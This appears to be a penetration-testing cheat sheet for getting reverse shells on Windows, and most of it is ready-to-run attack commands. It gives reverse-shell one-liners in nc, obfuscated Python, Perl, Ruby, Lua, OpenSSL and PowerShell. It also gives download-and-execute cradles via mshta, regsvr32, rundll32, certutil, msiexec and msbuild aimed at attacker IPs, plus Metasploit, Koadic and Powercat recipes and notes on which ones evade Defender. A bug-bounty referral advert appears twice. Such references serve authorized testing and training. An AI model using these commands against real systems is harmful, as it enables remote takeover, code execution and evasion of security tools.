# Shells - Windows

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Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\ This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\ Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\ [**Sign up on HackenProof**](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA) to get rewarded without delays and become the web3 hacker legend. {% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %} ## Lolbas The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** ## NC ```bash nc.exe -e cmd.exe ``` ## SBD **sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative. ## Python ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ## Perl ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## Lua ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## OpenSSH Attacker (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` Victim ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## Powershell ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Process performing network call: **powershell.exe**\ Payload written on disk: **NO** (_at least nowhere I could find using procmon !_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** **One liner:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` **Get more info about different Powershell Shells at the end of this document** ## Mshta ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` Process performing network call: **mshta.exe**\ Payload written on disk: **IE local cache** ```bash mshta http://webserver/payload.hta ``` Process performing network call: **mshta.exe**\ Payload written on disk: **IE local cache** ```bash mshta \\webdavserver\folder\payload.hta ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** #### **Example of hta-psh reverse shell (use hta to download and execute PS backdoor)** ```markup ``` **You can download & execute very easily a Koadic zombie using the stager hta** #### hta example ```markup ``` **Extracted from** [**here**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f) #### **mshta - sct** ```markup ``` **Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) #### **Mshta - Metasploit** ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit ``` ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` **Detected by defender** ## **Rundll32** [**Dll hello world example**](https://github.com/carterjones/hello-world-dll) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` Process performing network call: **rundll32.exe**\ Payload written on disk: **IE local cache** **Detected by defender** **Rundll32 - sct** ```bash ``` **Extracted from** [**here**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17) #### **Rundll32 - Metasploit** ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` **Rundll32 - Koadic** ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 set ENDPOINT sales run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` ## Regsvr32 ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` Process performing network call: **regsvr32.exe**\ Payload written on disk: **IE local cache** ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** **Detected by defender** #### Regsvr32 -sct ```markup ``` **Extracted from** [**here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1) #### **Regsvr32 - Metasploit** ```bash use multi/script/web_delivery set target 3 set payload windows/meterpreter/reverse/tcp set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` **You can download & execute very easily a Koadic zombie using the stager regsvr** ## Certutil Download a B64dll, decode it and execute it. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` Download a B64exe, decode it and execute it. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` **Detected by defender**

Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\ ****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\ Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\ [**Sign up on HackenProof**](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA) to get rewarded without delays and become the web3 hacker legend. {% embed url="https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA" %} ## **Cscript/Wscript** ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` **Cscript - Metasploit** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` **Detected by defender** ## PS-Bat ```bash \\webdavserver\folder\batchfile.bat ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` ``` ```bash \\10.8.0.3\kali\shell.bat ``` **Detected by defender** ## **MSIExec** Attacker ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` Victim: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` **Detected** ## **Wmic** ``` wmic os get /format:"https://webserver/payload.xsl" ``` Process performing network call: **wmic.exe**\ Payload written on disk: **IE local cache** Example xsl file: ``` ``` Extracted from [here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7) **Not detected** **You can download & execute very easily a Koadic zombie using the stager wmic** ## Msbuild ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` **Not detected** ## **CSC** Compile C# code in the victim machine. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Not deteted** ## **Regasm/Regsvc** ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** **I haven't tried it** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf ``` odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` Process performing network call: **svchost.exe**\ Payload written on disk: **WebDAV client local cache** **I haven't tried it** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) ## Powershell Shells ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` Start serving the script in a web server and execute it on the victim's end: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` Defender doesn't detect it as malicious code (yet, 3/04/2019). **TODO: Check other nishang shells** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) Download, start a web server, start the listener, and execute it on the victim's end: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` Defender doesn't detect it as malicious code (yet, 3/04/2019). **Other options offered by powercat:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd Send a cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: powercat -l -p 443 -i C:\inputfile -rep ``` ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) Create a powershell launcher, save it in a file and download and execute it. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` **Detected as malicious code** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) Create a powershell version of metasploit backdoor using unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` Start msfconsole with the created resource: ``` msfconsole -r unicorn.rc ``` Start a web server serving the _powershell\_attack.txt_ file and execute in the victim: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` **Detected as malicious code** ## More [PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) ## Bibliography * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) * [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) * [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/) * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)

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